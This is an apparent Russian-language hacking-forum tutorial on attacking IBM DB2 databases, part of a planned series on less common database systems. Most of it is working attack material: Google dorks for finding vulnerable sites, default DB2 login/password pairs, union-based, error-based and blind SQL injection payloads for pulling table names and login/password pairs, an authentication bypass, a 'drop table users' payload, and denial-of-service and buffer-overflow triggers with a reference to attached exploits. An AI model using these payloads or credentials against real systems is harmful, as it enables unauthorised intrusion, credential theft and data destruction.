Intro-> Буду краток: рассмотрим здесь особенности СУБД, которые попадаются на глаза довольно редко. Я расскажу о 3х из них: IBM DB2, IBM Informix и ЛИНТЕР.
Также в приложении можно обнаружить эксплоиты к ним и подобранную информацию о таких субд как Apache CouchDB, Berkeley DB, CUBRID, H2, InterSystems Cache и mSQL + дампер.
Если есть какие-то добавления - отписывайтесь)
Начнём…
** <=======>
IBM DB2
<=======>**
DB2 - реляционная СУБД от IBM, распространяемая для различных платформ (linux, win, mac, solaris, os/2 и т.д.), начала свою историю в 1975 году (название получено в '82). К особенностям можно отнести:
Код:
1\ диалект SQL, почти всегда определяющий декларативный смысл языковых конструкций, мощный многофразовый оптимизатор для эффективности
выполнения запроса (при всём этом является вычислительно полным);
2\ практически нет подсказок оптимизатору;
3\ мало развиты и не широко применяются хранимые процедуры (пишутся на C, Java, COBOL и тд);
4\ поддержка subselects, union, но не позволяет использовать множественные конструкции;
5\ большое внимание уделено безопасности, например, имеются отдельные роли для админа субд и админа бд;
6\ строгое отношение к типам данных;
Стоит почитать “Securing IBM DB2” (есть в приложении), чтобы понять, “какого же х… фига у меня нет прав”, там ясно описан процесс защиты субд от посягательств, путём разграничения прав для компонентов. В ней же описано (неслучайно), что неплохо бы закрывать порты 523, 50000-5000 и UDP, т.к. наш “любимый” DB2 можно часто обнаружить на 523 udp порту.
В ошибке выдаёт что-то вроде:
Код:
MDB2 Error: ...
_doQuery: [Error message: Could not execute statement]
[Last executed query:...
Гуглить, следовательно, можно так “intext:“MDB2 Error””
В проведении инъекции ничего необычного нет, за исключением проблем с правами на доступ к системным таблицам; окончание запроса “–”, но “/**/” тоже прокатывал.
Код:
1\ нашли, подбираем колонки order by'ем, если неправильное количество, то может выдавать **"MDB2 Error: no such field"** или**"Native message: ERROR: ORDER BY position 100 is not in select list"**;
2\ допустим их 5, запрос будет вида "..+union+select+null,null,null,null,null; --"
3\ меняя null'ы на цифры, определяем вывод колонки "..+union+select+null,null,666,null,null; --"
4\ тянем информацию (ну если уж позволено) "..union+select+null,null,name,null,null+from+sysibm.systables; --"
"..+union+select+null,null,name||char(58,58)||tbname||char(58,58)||coltype,null,null+from+sysibm.syscolumns; --"
Встречается в связке с MySQL, в этом случае вывод в ошибку вам в помощь, работает на отлично)
=============================
Стандартные связки логин\пасс
=============================
Код:
db2admin - db2admin
db2as - ibmdb2
dlfm - ibmdb2
db2instN (где N - число, начиная с 1) - ibmdb2
db2fencN - ibmdb2
Ну и ещё немного системных юзеров: db2dart, db2licm, db2start, db2ckpwd
=====================
Системные бд, таблицы
=====================
Код:
syscat.dbauth
tabauth
indexauth
colauth
schemaauth
passthruauth
tables (таблицы)
columns (колонки)
dba.users
sysibm.systables (все таблицы)
syscolumns (все колонки)
sysversions
SYSTABLETYPES
=======
Функции
=======
Код:
substr() - извлекает часть символьной строки (substr('xyz',2,1)='y')
char(строка) - из ascii в чар-представление (..+and+char(58,58)='::'--)
ascii(строка) - из char в аски
cast(строка as тип_данных) - конверт между разными типами данных
if(выражение,если_верно,если_неверно) - условие "если"
length(строка) - возвращает длину строки
max(), min() - соответственно большее и меньшее значение
not in() - аналогично с MSSQL (...+and+5+not+in('1','2')--)
-—
Конкатенация производится либо concat’ом:
Код:
SELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1; --
либо “||”
Код:
select 'a' || 'b' from sysibm.sysdummy1; --
-—
Сравнение производится либо знаками =, !=, < и тп или применяя like/not like
-—
Hex работает
так что не удивляйтесь, если 0x51 будет безошибочно равно 0x51 =)
=====================
Собственно примерчики
=====================
Вывод версии:
Код:
select versionnumber,version_timestamp from sysibm.sysversions; --
Пользователь:
Код:
select user from sysibm.sysdummy1; --
select session_user from sysibm.sysdummy1; --
select system_user from sysibm.sysdummy1; --
Права:
Код:
select grantee from syscat.dbauth; --
select * from syscat.tabauth; --
select * from syscat.dbauth where grantee = current user; --
select * from syscat.tabauth where grantee = current user; --
_Для БД:
-------
текущая
Код:
select current server from sysibm.sysdummy1; --
все бд
Код:
select schemaname from syscat.schemata; --
таблицы
Код:
select name from sysibm.systables; --
select tabname from syscat.tables where 'a'='a' --
SELECT NAME from SYSIBM.SYSTABLES where CREATOR = USER --
вывод N-ной записи
Код:
select name from (SELECT name FROM sysibm.systables order by name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only; --
колонки
Код:
select name, tbname, coltype from sysibm.syscolumns; --
select NAME from SYSIBM.SYSCOLUMNS where TBCREATOR = 'имя_бд' and TBNAME='имя_таблицы' --
удаление_
Код:
при вводе в форму авторизации -> hell0; drop table users; --
для функций
Код:
SELECT SUBSTR('abc',2,1) FROM sysibm.sysdummy1; --
select chr(65) from sysibm.sysdummy1; --
select ascii('A') from sysibm.sysdummy1; --
SELECT cast('123' as integer) FROM sysibm.sysdummy1; --
SELECT cast(1 as char) FROM sysibm.sysdummy1; --
http://www.vulnsite.com/sc.php+and+if('a'='a',1,0)=1; --
_Приведение типа и связывание найденных данных.
----------------------------------------------
Оригинальный запрос:
Код:
SELECT id,t_nr,x_nr,i_name,last_update,size FROM p_table WHERE size = '$INPUT[size]';
Изменённый:
Код:
http://www.vulnsite.com/script?size=0'+union+select+'1','1','1',concat(uname||'-'||passwd)+as+i_name+'1'+'1'+from+usertable+where+uname+like+'25
_
=====================
Скрипты авторизации…
=====================
Если включены ошибки, и есть соответсвующая уязвимость, то…:
Код:
есть запрос
select * from applogin where name = 'username’ and password = 'password’;
1.1\ вместо username'а впихиваем
' or 1=1 --
и вот они мы залогиненные)
2.1\ далее получаем имена колонок
' group by 1 —-
выведет например
"An expression starting with "NAME" specified in a SELECT clause..."
2.2\ ' group by name --
выведет
"An expression starting with "SOCIAL_SECURITY_NO" specified in a SELECT clause..."
ну и так далее в этом духе
2.3\ узнаем таблицу из запроса
' or' --
получаем
"An unexpected token "from applogin where name = '' OR" was found..."
Стоит заметить, что вместо " ' or' -- " можно использовать
'Badvalue
' or '
' or
;
9,9,9
3.1\ вывод данных
В ошибку то они выводятся, НО: есть, допустим, у нас переменная name, отображаемая на странице,
тогда мы можем сделать следующее (подставляем вместо имени пользователя)
' union all select concat(name,password) as name ,'a','a','a' from applogin where name > 'c';
и (о чудо !!!1) рядом с именем пользователя (которое в данном случае >'c') мы видим связку логин-пасс
===================
Blind SQL Injection
===================
Кстати говоря, блайнд может чем-то даже удобнее: не надо подбирать ничего, нет возни с типами данных.
_Получение длины имени таблицы:
Код:
and length((SELECT NAME from SYSIBM.SYSTABLES where name not in ('HEIGE') fetch first 1 rows only))=16 --
Получение первой буквы из названия таблицы:
Код:
and ASCII((SELECT (SUBSTR(NAME,1,1)) from SYSIBM.SYSTABLES where name not in ('HEIGE') fetch first 1 rows only))=65 --
Номер колонки:
Код:
and (select max(COLNo) from SYSCAT.columns where tabname='AA_PREP_FI_DEP_INFO')=2 --
Длина имени колонки:
Код:
and length((select COLNAME from SYSCAT.columns where tabname='AA_PREP_FI_DEP_INFO' and colno=0))=6 --
Ну и само имя:
Код:
AND ASCII((SELECT (SUBSTR(COLNAME,1,1)) from SYSCAT.columns where tabname='AA_PREP_FI_DEP_INFO' and colno=0))=82 --
Вывод длины получаемых данных:
Код:
AND length((SELECT DEP_NAME FROM AA_PREP_HR_DEP_INFO where rec_no=1))=6 --
Данные:
Код:
AND ascii((SELECT (SUBSTR(DEP_NAME,1,1)) FROM AA_PREP_HR_DEP_INFO where rec_no=1))=215 --
_
=======
DoS >
=======
Код:
1\ В Query Compiler'е существовал баг, позволявший провести DoS-атаку, используя select case:
select case when exists (select * from local_tab1 except select * from local_tab2) then 1 else 0 end from (values 1) as x
Не требует особых привилегий для бд, пофиксили в версии 7.2+фикспак 7
2\ Date/Varchar Denial of Service
Обработка ошибок функции year() собственно и вызывает такую реакцию:
select * from employee where year(birthdate)=1999 and firstname <"
Не требует особых привилегий, пофикшено в 6.1+фикспак 8 и 7.2+фикспак 3
3\ Возвращаясь к сервису на 523 удп порту:
Используется конфигуратором клиента и обычно получает пакеты типа "DB2GETADDR SQL07020"...
..а вот если он получает пакет длиной больше 20байт, то.. (ну вы понеле)
Пофикшено в версии 7.2+фикспак 10a
====================
Переполнение буфера
====================
Код:
1\ При наличии системного акка, можно вызвать переполнение и получить root-права для любого локального пользователя unix, эксплоит присутствует в архиве
overflow -> /db2as/sqllib/adm/db2dart 'perl -e 'print "A"x1287''
Закрыто в 7.2+фикспак 10a
2\ Overflow в load'е и invoke
Вызывается в DB2 Command Centre или DB2 Command Line Processor слишком длинной строкой, при наличии id в бд, особые привилегии не нужны.
Подключаемся и "load from testAAAAAA[и тд]"
С invoke похожая ситуация, условия те же (вот тока существует сплоит)
invoke vwploadr.exe\AAAAAA[и тд]
Закрыто в 7.2+фикспак 10a
3\ JDBC Applet Server and Control Center
Находится на портах 6789 или 6790, при посылке большого пакета есть возможность захвата управления над клиентом и удалённым управлением бд.
Пофиксили в 6.1+фикспак 10 и 7.2+фикспак 4
4\ Пакет подключения:
Если в нём изменены случайные байты, то это может вызвать падение сервиса.
Если послать на 523 порт длинный пакет, то это может вызвать перезапись админского конфига в памяти
Пофиксили в 8.1+фикспак 3, но НЕ закрыли в 7.2+фикспак 10a